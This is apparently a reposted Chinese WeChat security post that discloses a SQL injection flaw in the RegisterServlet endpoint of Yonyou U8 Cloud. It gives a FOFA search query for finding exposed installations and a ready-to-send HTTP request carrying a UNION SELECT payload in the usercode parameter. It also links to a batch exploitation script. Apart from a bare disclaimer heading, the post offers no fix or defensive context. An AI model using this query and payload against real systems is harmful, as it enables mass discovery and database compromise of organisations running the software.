由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！
免责声明
用友
一：漏洞描述
某友U8-nc.bs.sm.login2.RegisterServlet sql
二：网络空间测绘查询
fofa
app="用友-U8-Cloud"
三：漏洞poc
GET /servlet/~uap/nc.bs.sm.login2.RegisterServlet?usercode=1%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL--%20Jptd HTTP/1.1Host:X-Forwarded-For: 127.0.0.1Cookie: JSESSIONID=D523370AE42E1D2363160250C914E62A.server
四：批量脚本获取
https://github.com/Y1-K1NG/poc_exp/tree/main/20240331%E7%94%A8%E5%8F%8BU8-nc.bs.sm.login2.RegisterServlet%20SQL%E6%B3%A8%E5%85%A5
原文始发于微信公众号（Yi安全）：某友U8-nc.bs.sm.login2.RegisterServlet sql附py
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论